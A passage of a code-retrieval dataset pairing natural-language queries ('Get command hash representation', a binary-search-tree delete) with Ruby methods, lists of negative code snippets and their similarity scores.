"0.70939326",
"0.7078316",
"0.70716584",
"0.7069619",
"0.7033063",
"0.7028152",
"0.70122486",
"0.70122486",
"0.7009761",
"0.6956601",
"0.6937524",
"0.68990153",
"0.688863",
"0.686018",
"0.6856424",
"0.6804309",
"0.68000656",
"0.6795535",
"0.67752516",
"0.671818",
"0.6717434",
"0.6694926",
"0.6685291",
"0.6657732",
"0.664379",
"0.6616772",
"0.6612112",
"0.6604035",
"0.65775263",
"0.6557049",
"0.6552975",
"0.6511042",
"0.64771855",
"0.6474207",
"0.64706194",
"0.6460728",
"0.6405328",
"0.6397661",
"0.6395416",
"0.6381835",
"0.63701624",
"0.6369958",
"0.6364535",
"0.6362497",
"0.63612187",
"0.6338926",
"0.63102597",
"0.63006175",
"0.6289897",
"0.6289545",
"0.6275656",
"0.6275034",
"0.62577814",
"0.6256118",
"0.6233464",
"0.622074",
"0.621886",
"0.62170404",
"0.6216731",
"0.61898124",
"0.6189332",
"0.6187582",
"0.61751074",
"0.6170265",
"0.6153605",
"0.6138572",
"0.6136943",
"0.61367166",
"0.61355394",
"0.6116645",
"0.6116645",
"0.61157",
"0.6105941",
"0.6097839",
"0.60881966",
"0.60778505",
"0.6069685",
"0.60672957",
"0.6066593",
"0.60663176"
] |
0.6500204
|
52
|
Get command hash representation
|
def to_hash
{
'command' => command,
'output' => output,
'exit_code' => exit_code,
'start_time' => start_time,
'finish_time' => finish_time,
'duration' => duration
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n return to_s.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n to_s.hash\n end",
"def hash\n guid.hash\n end",
"def to_s\n return command\n end",
"def sha\n result_hash['sha']\n end",
"def hash\n bytes.hash\n end",
"def hex_cmd_id\n \"0x\" + @cmd_id.to_s(16)\n end",
"def hexhash\n hash.to_s(16)\n end",
"def binary_hash\n [@hash].pack(\"H*\").reverse\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def command\n\n h.fields['__command__']\n end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def to_hash() end",
"def command\n return @raw_command\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def hash\n name.hash ^ version.hash\n end",
"def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"def sha\n id.sha\n end",
"def hash\r\n id.hash\r\n end",
"def hash\n [oct, pc].hash\n end",
"def hash\n state.hash\n end",
"def hash\n state.hash\n end",
"def hash\n @string.hash\n end",
"def hash\n @string.hash\n end",
"def hash\n @string.hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def to_s\n str = ''\n str << \"Command: #{@feature} #{@name}\\n\"\n @hash.each { |key, value| str << \" #{key}: #{value}\\n\" }\n str\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n hash_args.hash\n end",
"def get_command(command)\n ensure_cache_up_to_date\n namespace = \"bluster:objects:command:#{command}\"\n keys = self.redis.keys(\"#{namespace}:*\")\n data = {}\n keys.each { |key|\n short_key = key.split(\":\")[4]\n data[short_key] = self.redis.get(\"#{namespace}:#{short_key}\")\n }\n data\n end",
"def to_hex\n Executor.execute(command)\n\n Hex.new(:source => target)\n end",
"def hash\n [name, args].hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.state.hash\n end",
"def hash\n [author_email, author_name, author_time, branch, commit_time, committer_email, committer_name, default_branch, message, repository_url, sha, tag].hash\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n @id.hash\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def to_s\n msg = ''\n msg += \"Command: #{name}\\n\"\n options.each { |o| msg += \" \" + o.inspect + \"\\n\"}\n msg += \"\\n\"\n commands.each { |k, v| msg += commands[k].inspect }\n msg\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def to_hash\n hsh = {\n id: id,\n status: status.to_sym,\n connect: running? ? connect.to_h : nil,\n time: info.wallclock_time.to_i / 60 # only update every minute\n }\n Digest::SHA1.hexdigest(hsh.to_json)\n end",
"def hash\n [check_id, exceptions, key, links, port, proof, protocol, since, status].hash\n end",
"def hash\n [ name, database, password ].hash\n end",
"def hash\n \"#{@ipv4}#{@port}\".hash\n end",
"def command\n @attributes['command']\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def command\n attributes.fetch(:command)\n end",
"def command\n attributes.fetch(:command)\n end",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def hash\n ([graph_name] + operands).hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n return @revision.hash if @revision\n return object_id\n end",
"def hash\n return @id.hash\n end",
"def hash\n @hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n self.class.name.hash\n end",
"def hash\n name.hash\n end",
"def hash\n name.hash\n end",
"def hash\n model.hash + key.hash\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def hash\n @hash.hash\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def hash\n data.hash\n end",
"def hash\n {:error => err, :stdout => out, :command => command, :code => code}\n end",
"def hash\n to_a.hash\n end",
"def hash\n fsm_class.to_s.hash ^ state_var.to_s.hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def hash *args, &block\n command \"hash\", args.join(\"/\"), &block\n end",
"def hash\n [self.class, to_s].hash\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n self.atoms.hash\n end",
"def to_h\n {}.tap do |commit|\n if opts.key?(:command)\n commit['run'] ||= {}\n commit['run'][:Cmd] = opts[:command]\n end\n\n if opts.key?(:entrypoint)\n commit['run'] ||= {}\n commit['run'][:Entrypoint] = opts[:entrypoint]\n end\n\n commit[:author] = opts.fetch(:author, '') if opts.key?(:author)\n commit[:comment] = opts.fetch(:comment, '') if opts.key?(:comment)\n end\n end",
"def hexdigest\n @digest.unpack('H*'.freeze).first\n end"
] |
[
"0.68387944",
"0.68181884",
"0.6811138",
"0.6676236",
"0.6658556",
"0.6637129",
"0.66223294",
"0.6580984",
"0.65313035",
"0.6515141",
"0.64987963",
"0.64987963",
"0.64987963",
"0.6452458",
"0.6376503",
"0.6376503",
"0.63650006",
"0.63459384",
"0.63429177",
"0.63394654",
"0.6322591",
"0.6296181",
"0.62928295",
"0.6271951",
"0.62488407",
"0.6242034",
"0.62382925",
"0.62382925",
"0.62263405",
"0.62263405",
"0.62263405",
"0.6198486",
"0.6198486",
"0.6198486",
"0.6198486",
"0.6198486",
"0.6198486",
"0.6198486",
"0.61927664",
"0.61843944",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183663",
"0.6183338",
"0.6176014",
"0.6163663",
"0.6149045",
"0.6133934",
"0.6132168",
"0.6130035",
"0.6097859",
"0.6096282",
"0.6092594",
"0.60891974",
"0.6082892",
"0.60768116",
"0.6075167",
"0.60600275",
"0.60547495",
"0.60480714",
"0.6043169",
"0.60254794",
"0.60254794",
"0.6015643",
"0.6009211",
"0.6007451",
"0.6007451",
"0.5993797",
"0.5992794",
"0.59859574",
"0.59846854",
"0.597315",
"0.59723765",
"0.59723765",
"0.59723765",
"0.5963347",
"0.5962812",
"0.59625626",
"0.59556776",
"0.5945623",
"0.5945065",
"0.59426194",
"0.5930548",
"0.5925655",
"0.5912793",
"0.59105676",
"0.5903742",
"0.5901633",
"0.5901633",
"0.5898918",
"0.588629",
"0.5885462",
"0.58847076",
"0.58829945",
"0.5880534"
] |
0.0
|
-1
|
def delete(value) node = find(value)
|
def delete(val)
node = find(val)
if node == @root
@root = nil
return
end
parent = find_parent(@root, node)
left = node.left
right = node.right
if left.nil? && right.nil?
parent.right = nil if parent.value < val
parent.left = nil if parent.value >= val
elsif left.nil? ^ right.nil?
if parent.left == node
if left
parent.left = left
left.parent = parent
else
parent.left = right
right.parent = parent
end
else
if left
parent.right = left
left.parent = parent
else
parent.right = right
right.parent = parent
end
end
else
max_node = maximum(left)
max_node_parent = find_parent(@root, max_node)
max_node_left_parent = find_parent(@root, max_node.left)
if max_node.left
max_node_parent.right = max_node.left
max_node_left_parent = max_node_parent
end
if parent.left = node
parent.left = max_node
max_node_parent = parent
max_node.left = left
max_node.right = right
else
parent.right = max_node
max_node_parent = parent
max_node.left = left
max_node.right = right
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete(value)\n delete_node(find(value))\n end",
"def delete(value)\n find_node(value)&.delete\n end",
"def delete_value value\r\n #find the pointer to the wanted node using LIST-SEARCH(value)\r\n #then delete that node with LIST-DELETE-BY-NODE(node)\r\n delete_node(self.search(value))\r\n end",
"def delete_node(node_value)\n current_node = @root_node\n if current_node.get_node_data() == node_value\n @root_node = @root_node.get_next()\n @root_node.set_prev(nil)\n current_node = nil\n else\n while current_node.has_next?()\n current_node = current_node.get_next()\n if current_node.get_node_data() == node_value\n current_node.get_prev().set_next(current_node.get_next())\n current_node.get_next().set_prev(current_node.get_prev())\n return\n end\n end\n end\n end",
"def delete(value)\n if @head == nil\n return\n end\n\n # account for case: node to delete is current head\n if @head.data == value\n @head = @head.next\n return\n end\n\n current = @head\n while current.next != nil\n if current.next.data == value\n current.next = current.next.next\n return\n end\n current = current.next\n end\n # value to be deleted was not found if the control flow reaches here\n end",
"def delete(value)\n\t\tcurrent_node = @head \n\t\tif current_node.value == value \n\t\t\t@head = current_node.next_node\n\t\tend \n\t\tuntil current_node.next_node.value == value \n\t\t\treturn false if current_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = current_node.next_node.next_node\n\tend",
"def delete(value)\n current_node = @head\n\n if current_node.value == value\n @head = current_node.next\n else\n\n previous_node = current_node\n current_node = current_node.next\n\n loop do \n break if current_node.value == value\n previous_node = current_node\n current_node = current_node.next\n end\n\n previous_node.next = current_node.next\n end\n end",
"def delete_from(value)\n L.log '', \"Attempting to delete #{value} from BST\"\n outcome, new_root = @root_tree.delete_element(@root_tree, Node.new(value))\n @root_tree = new_root\n display_tree\n return outcome\n end",
"def delete(value, node = root)\n return node if node.nil?\n \n if value < node.data\n node.left = delete(value, node.left)\n elsif value > node.data\n node.right = delete(value, node.right)\n else\n # si el nodo tiene un o ningún hijo\n return node.right if node.left.nil?\n return node.left if node.right.nil?\n \n # si el nodo tiene 2 hijos\n leftmost_node = leftmost_leaf(node.right)\n node.data = leftmost_node.data\n node.right = delete(leftmost_node.data, node.right)\n end\n node\n end",
"def delete(value)\n found_node = self.find(value)\n return nil if found_node.nil?\n\n if found_node == root\n self.root = nil\n return found_node\n end\n\n #first case, deleted node has no children\n right_empty = found_node.right.nil?\n left_empty = found_node.left.nil?\n\n if right_empty && left_empty #must take parent and delete its pointer to deleted node\n direct_parent = parent(found_node)\n if direct_parent.value < found_node.value\n direct_parent.right = nil\n else\n direct_parent.left = nil\n end\n elsif right_empty #deleted node has one child\n child = found_node.left\n direct_parent = parent(found_node)\n if direct_parent.value < found_node.value\n direct_parent.right = child\n else\n direct_parent.left = child\n end\n elsif left_empty #deleted node has one child\n child = found_node.right\n direct_parent = parent(found_node)\n if direct_parent.value < found_node.value\n direct_parent.right = child\n else\n direct_parent.left = child\n end\n else #deleted node has two children. I'm choosing the left side maximum\n #of the deleted node for a replacement.\n\n left_child = found_node.left\n right_child = found_node.right\n max = maximum(left_child)\n child_of_max = max.left #max's child will always be on the left!!!\n parent_of_max = parent(max)\n parent_of_deleted = parent(found_node)\n\n if parent_of_deleted.value < found_node.value\n parent_of_deleted.right = max\n else\n parent_of_deleted.left = max\n end\n\n parent_of_max.right = child_of_max #reconnecting the holes caused by extracting max\n max.left = left_child #replacing the deleted node with the max\n max.right = right_child #replacing the deleted node with the max\n end\n\n found_node\n end",
"def delete(value)\r\n return nil if !@head\r\n if @head.data == value\r\n @head = @head.next \r\n return nil\r\n end \r\n cursor = @head\r\n while cursor.next && cursor.next.data != value\r\n cursor = cursor.next\r\n end\r\n cursor.next = cursor.next.next if cursor.next\r\n end",
"def delete(value)\n\t \n if @root == nil \n return false\n end\n \n #Obtenemos el nodo a remover\n\t toRemove = selectElement(value,@root)\n \n ## Mandamos a buscar al padre del nodo\n father = getFather(value,@root,toRemove)\n \n if !isLeaft(toRemove,father) ## remueve elemento al encontrarlo y sea hoja\n promote(toRemove,father) ##Verificamos si es hijo unico\n end\n \n return true\n end",
"def delete(value)\r\n \r\n current = @head\r\n \r\n # if list is empty\r\n if current.nil?\r\n return\r\n end\r\n \r\n # if value is at head\r\n if current.data == value\r\n @head = current.next\r\n end\r\n \r\n # traverse list for matching value. stop when we find a match or get past the final node\r\n until current.nil? || current.data == value\r\n # if value isn't in the list, stop\r\n if current.next.nil?\r\n return\r\n # if the value matches our target value, make previous node point to node after current node\r\n elsif current.next.data == value\r\n current.next = current.next.next\r\n end\r\n current = current.next\r\n end\r\n \r\n end",
"def deleteNode node\n node.val = node.next.val\n node.next = node.next.next\nend",
"def delete(value)\n if search(value)\n if value == @root.getData()#Descartamos la eliminacion de la raiz\n if @root.getLeft() == nil and @root.getRight() == nil#verificamos el caso\n @root = nil\n else\n temp_root = Node.new(-100000) #Asignamos nodo temporal\n @removeMethods.promote(@root,temp_root) #encontramos el mejor elemento\n @root = temp_root.getRight() #Asignamos nuevo nodo con remplazo ideal\n end\n startMethods() ##enviamos actualizacion de nodo\n return true\n else\n return @removeMethods.delete(value)\n end\n else\n return false\n end\n end",
"def delete(node)\n remove_node(node)\n end",
"def delete(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n next_node = current_node.right_child\n if next_node.data == value\n current_node.right_child = delete_aux(next_node, value)\n break\n end\n current_node = current_node.right_child\n elsif current_node.data > value\n next_node = current_node.left_child\n if next_node.data == value\n current_node.left_child = delete_aux(next_node, value)\n break\n end\n current_node = current_node.left_child\n elsif current_node.data == value\n @root = build_tree(in_order_traversal(current_node) - [value])\n break\n end\n end\n end",
"def remove(node)\n end",
"def delete(value)\n node = find(value, @root)\n if node.left || node.right \n if node.left && node.right \n max = maximum(node.left)\n if max.left \n max.parent.right = max.left \n max.left = nil\n end\n node.left.parent = max \n node.right.parent = max\n if (node.value <= node.parent.value)\n node.parent.left = max\n else \n node.parent.right = max\n end \n else \n replacement_node = node.left ? node.left : node.right \n parent = node.parent\n if replacement_node.value <= parent.value \n parent.left = replacement_node\n else \n parent.right = replacement_node\n end \n end \n else \n if node.parent \n parent = node.parent \n if (node.value <= parent.value)\n parent.left = nil\n else \n parent.right = nil\n end\n else \n @root = nil \n nil\n end \n end \n end",
"def e31_delete(node, input)\n while node.next != nil\n if node.value == input\n node.value = node.next.value\n node.next = node.next.next\n else\n node = node.next\n end\n end #while ends\n end",
"def delete(value)\n return nil if @head.nil?\n\n current = @head\n\n if current.data == value\n @head = current.next\n @head.previous = nil\n return\n end\n\n until current.next.nil?\n if current.next.data == value\n temp = current.next.next\n current.next = temp\n if temp\n temp.previous = current\n end\n return\n end\n current = current.next\n end\n end",
"def delete(value)\n index = find(value)\n return false if index == -1\n @inner[index] = @inner[@inner.length - 1]\n @inner.delete_at(@inner.length - 1)\n return true\n end",
"def delete(value)\n return \"BST is empty\" if is_empty\n\n parent = nil\n current = @root\n\n while current && current.value != value\n parent = current\n current = current.value > value ? current.left : current.right\n end\n\n return \"Value to delete not found\" if current == nil\n\n if !current.left && !current.right\n parent.left = nil\n parent.right = nil\n end\n\n puts \"NOT COMPLETE\"\n end",
"def delete(data)\n node = find(data)\n if !node.nil?\n remove(node)\n end\n end",
"def delete(value)\r\n prev = nil\r\n curr = @head \r\n\r\n while curr \r\n if curr.data == value \r\n if prev == nil\r\n @head = curr.next \r\n else \r\n prev.next = curr.next \r\n end\r\n return\r\n\r\n else\r\n prev = curr\r\n curr = curr.next\r\n end\r\n end\r\n\r\n # if u reached this point, then nothing matches, and no changes made to list\r\n end",
"def delete(value)\n end",
"def delete(value)\n end",
"def delete(value)\n #get hashed value\n hash_value = hash_function(value)\n\n # check if value exists\n result = search(value)\n\n # if value exists\n if result\n # set value to nil\n @@collection[hash_value] = nil\n # return confirmation\n \"value deleted\"\n else\n # return error message\n \"value not found\"\n end\n\n\n end",
"def delete_node(current_node)\n\nend",
"def delete(value)\n return nil if !@head\n if @head.data == value\n @head = @head.next\n @head.prev = nil\n return\n end \n cursor = @head\n while cursor && cursor.data != value\n cursor = cursor.next\n end\n\n if cursor\n cursor.prev.next = cursor.next\n cursor.next.prev = cursor.prev if cursor.next\n @tail = cursor.prev if cursor == @tail\n \n end\n end",
"def find(value)\n self.each {|node| return node if node.value == value}\n end",
"def delete(value, node = @root)\n if node.nil?\n return node \n end\n\n if value < node.value\n node.left_node = delete(value, node.left_node)\n elsif value > node.value\n node.right_node = delete(value, node.right_node)\n else\n if node.left_node.nil? && node.right_node.nil?\n return nil\n elsif node.left_node.nil?\n return node.right_node\n elsif node.right_node.nil?\n return node.left_node\n end\n\n # Switches the current node's value with the child with the lowest value greater than\n # the current node, then delete the child.\n temp = min_node(node.right_node)\n node.value = temp.value\n node.right_node = delete(temp.value, node.right_node)\n end\n\n return node\n end",
"def remove(value)\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\t\t\twhile element.value != value\n\t\t\t\tif element.next.nil?\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\tprevious_element = element\n\t\t\t\t\telement = element.next\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tprevious_element.next = element.next\n\t\t\telement\n\t\tend",
"def remove(value)\n if head.value == value\n @head = head.next\n else\n current_node = head.next\n prev_node = head\n while current_node\n if current_node.value == value\n prev_node.next = current_node.next\n return\n else\n prev_node = current_node\n current_node = current_node.next\n end\n end\n nil\n end\n end",
"def delete(key)\n if find(key)\n @root = delete_helper(@root, key)\n else\n return nil\n end \n end",
"def del_access_node(node)\n puts \"Deleting Node with value: #{node.value} from the list\"\n if node.next != nil\n node.value = node.next.value\n node.next = node.next.next\n else\n node.value = nil\n end\n print\n end",
"def delete(value:)\n if @head.value == value\n if @head.next.nil?\n @head.value = nil\n return value\n else\n @head = @head.next\n return value\n end\n else\n prev = @head\n temp = @head.next\n\n while !temp.nil?\n if temp.value == value\n prev.next = temp.next\n return value\n end\n\n prev = temp\n temp = temp.next\n end\n end\n\n return false # Not great to return different types but this is for fun\n end",
"def delete?(value)\n value = RDF::Literal(value) if value.is_a? Symbol\n\n return nil if parent.query([rdf_subject, predicate, value]).nil?\n\n delete(value)\n value\n end",
"def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend",
"def delete(root, data)\n if root.nil? || data.nil?\n return nil\n else\n target_node = find(root, data)\n target_node.nil? ? nil : (target_node.title = nil && target_node.rating = nil)\n end\nend",
"def remove(value)\n if self.include?(value)\n if head.data == value\n remove_head(value, head)\n else\n remove_value(value, head)\n end\n else\n return nil\n end\n end",
"def delete(key)\n dummy = Pair.new(key,nil)\n pair = @tree.remove(dummy)\n return nil unless pair\n return pair.value\n end",
"def delete_node\n node.destroy if node\n end",
"def delete_node_improved(node)\n node.val = node.next.val\n node.next = node.next.next\nend",
"def delete_node(value)\n return false unless @head\n curr_node = @head\n\n if @head.value == value\n @head = @head.next\n return true\n end\n\n while curr_node.next\n if value == curr_node.next.value\n curr_node.next = curr_node.next.next\n return true\n else\n curr_node = curr_node.next\n end\n end\n end",
"def delete(value)\n # Find the element to delete\n index = index(value)\n not_final = index < @heap.length - 1\n # Unless it's the final leaf, replace the value to be deleted with the final leaf\n @heap[index] = @heap[-1] if not_final\n # Delete the final leaf (either what we want to delete, or a duplicate now)\n @heap.pop\n # If necessary, bubble down\n bubble_down(index) if not_final\n end",
"def remove_thing(value)\n @children['thing'][:value].delete(value)\n end",
"def remove_thing(value)\n @children['thing'][:value].delete(value)\n end",
"def remove_value(value)\n @children['value'][:value].delete(value)\n end",
"def delete(value)\n @data.delete value\n value\n end",
"def delete_node(node)\n ## just copy the information of the next node and then cut it out\n node.id = node.next.id\n node.next = node.next.next\nend",
"def remove_record(value)\n @children['record'][:value].delete(value)\n end",
"def remove_record(value)\n @children['record'][:value].delete(value)\n end",
"def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end",
"def delete(value, current_node = @root)\n # Base case: We did not find the node\n return current_node if current_node.nil?\n\n if value < current_node.value\n current_node.left = delete(value, current_node.left)\n elsif value > current_node.value\n current_node.right = delete(value, current_node.right)\n elsif current_node.left.nil? # equality\n temp = current_node.right\n current_node = nil\n return temp\n\n elsif current_node.right.nil?\n temp = current_node.left\n current_node = nil\n return temp\n\n else # Node has 2 children.\n successor = find_inorder_successor(current_node.right)\n current_node.value = successor.value\n\n current_node.right = delete(successor.value, current_node.right)\n end\n current_node\n end",
"def property_value_delete(opts={})\n parent_select = Array( opts[:parent_select] )\n parent_index = opts[:parent_index]\n child_index = opts[:child_index]\n xpath_select = opts[:select]\n \n if !xpath_select.nil?\n node = lookup(xpath_select, nil).first\n else\n parent_nodeset = lookup(parent_select, parent_select)\n # parent_nodeset = lookup(parent_select[0])\n \n if parent_index.nil?\n node = node_from_set(parent_nodeset, child_index)\n else\n parent = node_from_set(parent_nodeset, parent_index)\n # this next line is a hack around the fact that element_children() sometimes doesn't work.\n node = node_from_set(parent.xpath(\"*\"), child_index)\n end\n end\n \n node.remove\n end",
"def delete_node(node)\n until node.next.nil?\n next_node = node.next\n node.val = next_node.val\n if next_node.next\n node = node.next\n else\n node.next = nil\n end\n end\nend",
"def delete_node(node_to_delete)\n next_node = node_to_delete.next\n\n if next_node\n raise \"Can't delete the last node with this method!\"\n else\n node_to_delete.value = next_node.value\n node_to_delete.next = next_node.next\n end\nend",
"def delete_this_node(node)\n node.val = node.next_node.val\n node.next_node = node.next_node.next_node\n return node\nend",
"def remove_node\n cspsearchpath.delete(@label)\n end",
"def delete(value)\n return nil if root.nil?\n\n parent = nil\n curr = root\n until value == curr.data\n parent = curr\n curr = (value < curr.data ? curr.left : curr.right)\n return nil if curr.nil? # value not present in BST\n end\n\n if curr == root\n if curr.left.nil? && curr.right.nil?\n @root = nil\n elsif curr.left.nil?\n @root = curr.right\n elsif curr.right.nil?\n @root = curr.left\n else\n # find the minimum node in right subtree\n node = copy_and_delete_min_in_right_subtree_of(curr)\n @root = node # replace deleted node with minimum node\n end\n return root\n end\n\n if parent.left == curr\n if curr.left.nil? && curr.right.nil?\n parent.left = nil\n elsif curr.left.nil?\n parent.left = curr.right\n elsif curr.right.nil?\n parent.left = curr.left\n else\n # find the minimum node in right subtree\n node = copy_and_delete_min_in_right_subtree_of(curr)\n parent.left = node # replace deleted node with minimum node\n end\n else\n if curr.left.nil? && curr.right.nil?\n parent.right = nil\n elsif curr.left.nil?\n parent.right = curr.right\n elsif curr.right.nil?\n parent.right = curr.left\n else\n # find the minimum node in right subtree\n node = copy_and_delete_min_in_right_subtree_of(curr)\n parent.right = node # replace deleted node with minimum node\n end\n end\n root\n end",
"def find_node(value)\n current = @anchor.next_node\n while current != @anchor\n return current if current.value == value\n current = current.next_node\n end\n end",
"def remove_node(head, val)\n current = head\n until current.next_node.nil?\n if head.val == val\n current.next_node = current.next_node.next_node\n end\n\n current = current.next_node\n end\n\n head\nend",
"def delete(val)\n count = self.lrem(0, val)\n if count > 0\n val\n else\n nil\n end\n end",
"def delete\n @prev_node.next_node = @next_node\n @next_node.prev_node = @prev_node\n @prev_node = @next_node = nil\n @value\n end",
"def delete_node(xpath, attrs)\n @doc.find(xpath).each do |node|\n node.remove! if node_match?(node, attrs)\n end\n end",
"def delete_e31(nodo,input)\n\n\t\t\twhile nodo.next != nil\n\t\t\t\t\tif nodo.value == input\n\t\t\t\t\t\tnodo.value = nodo.next.value\n\t\t\t\t\t\tnodo.next = nodo.next.next\n\t\t\t\t\telse\n\t\t\t\t \t\tnodo = nodo.next\n\t\t\t\t\tend\n\t\t\tend #while ends\n\t\t end",
"def delete_aux(next_node, value)\n return nil if next_node.right_child.nil? && next_node.left_child.nil?\n\n return next_node.left_child if next_node.right_child.nil?\n\n return next_node.right_child if next_node.left_child.nil?\n\n build_tree(in_order_traversal(next_node) - [value])\n end",
"def delete(node)\n if @head.data == node.data\n remove_front\n elsif @tail.data == node.data\n remove_tail\n else\n previousNode = @head\n placeholder = @head.next\n while placeholder.data != node.data\n if placeholder.next\n previousNode = placeholder\n placeholder = placeholder.next\n else\n return 'node not found'\n end\n end\n previousNode.next = placeholder.next\n end\n end",
"def delete_node(tree_match)\n descendants.find{|i| i === tree_match}\n .delete_node(tree_match)\n update_height\n self\n end",
"def delete_node(index)\n # find the index of the node and call the block in order to acess the properties\n # and parent required to keep the code DRY\n find(index) do |parent, to_be_deleted, property|\n if to_be_deleted.left_child.nil? and to_be_deleted.right_child.nil?\n # if both the nodes left and right child are nil then this means we can\n # simply remove the node without having to do any extra leg work\n set_replacement(parent, to_be_deleted, nil, property)\n elsif to_be_deleted.right_child.nil?\n # if just the right child is nil then all we have to do is move up the left_child \n replacement = to_be_deleted.left_child\n set_replacement(parent, to_be_deleted, replacement, property) \n elsif to_be_deleted.left_child.nil?\n # if jus the left child is nil then all we have to do is move up the right_child\n replacement = to_be_deleted.right_child\n set_replacement(parent, to_be_deleted, replacement, property) \n else\n # otherwise we need to locate the lowest left child of tree, we store it in a pointer \n # in memory and then delete it from the tree by calling the method again\n replacement = min_left_child(to_be_deleted.right_child)\n delete_node(replacement.key)\n\n # then we assing the node to be deleted left and right child values\n replacement.left_child = to_be_deleted.left_child \n replacement.right_child = to_be_deleted.right_child\n\n # once the replacement node has the correct values and has been removed from its previous\n # position we call the set replacement method on the node to be deleted parent in order\n # to remove it from refrence in the tree\n set_replacement(parent, to_be_deleted, replacement, property)\n end\n end\n end",
"def delete_value(value, root = self)\n if root.nil?\n return\n elsif value > root.value\n root.right = delete_value(value, root.right)\n elsif value < root.value\n root.left = delete_value(value, root.left)\n else # i.e. value == root.value\n if root.left.nil? # also catches cases when both child nodes are empty\n root = root.right\n elsif root.right.nil?\n root = root.left\n else\n root = shift_values(root)\n end\n end\n root\n end",
"def remove_value(value, node)\n if node.left && value < node.data\n if node.left.data == value\n if node.left.left\n link = max_search(node.left.left)\n link.right = node.left.right\n node.left = node.left.left\n elsif node.left.right\n node.left = node.left.right\n else\n node.left = nil\n end\n else\n remove_value(value, node.left)\n end\n\n elsif node.right && value > node.data\n if node.right.data == value\n if node.right.left\n link = max_search(node.right.left)\n link.right = node.right.right\n node.right = node.right.left\n elsif node.right.right\n node.right = node.right.right\n else\n node.right = nil\n end\n else\n remove_value(value, node.right)\n end\n end\n end",
"def find(value)\n node = @head\n while node\n if node.value == value\n return node\n end\n node = node.next\n end\n\n return nil\n end",
"def delete(element); end",
"def delete(root, data)\n return if data.nil?\n\n target = find(root, data)\n return if target.nil?\n\n last_node = find_last(@root, @count)\n target == last_node ? remove_last_node(target) : remove(target)\n end",
"def delete(value)\n puts \"I want to delete #{value}\"\n\n bucket = compute_adjusted_bucket(value)\n puts \"It's in #{bucket} bucket if it's anywhere.\"\n\n contains_value = @table[bucket] == value\n puts \"It #{contains_value ? 'is' : 'isn\\'t'} there\"\n @table[bucket] = TOMBSTONE_MARKER if contains_value\n puts \"Put #{TOMBSTONE_MARKER}\"\n\n contains_value\n end",
"def delete(value, current=@head)\r\n return unless current\r\n return @head = @head.next if @head.data == value\r\n\r\n if current.next.data == value\r\n current.next = current.next.next\r\n return\r\n end\r\n\r\n delete(value, current.next)\r\n end",
"def node_remove(node)\n return unless node_present? node\n nodes.delete prepare_key(node)\n end",
"def delete_node\n delete(@nodename)\n end",
"def remove_node_from_index(index, id_or_key, id_or_value = nil, id = nil)\n if id\n remove_node_index_by_value(index, id, id_or_key, id_or_value)\n elsif id_or_value\n remove_node_index_by_key(index, id_or_value, id_or_key)\n else\n remove_node_index_by_id(index, id_or_key)\n end\n end",
"def remove\n # Can you delete any other node besides the root?\n return nil if @store.empty?\n\n swap(0, @store.length - 1)\n target = @store.pop\n\n heap_down(0)\n return target.value\n end",
"def delete\n CMark.node_unlink(@pointer)\n end",
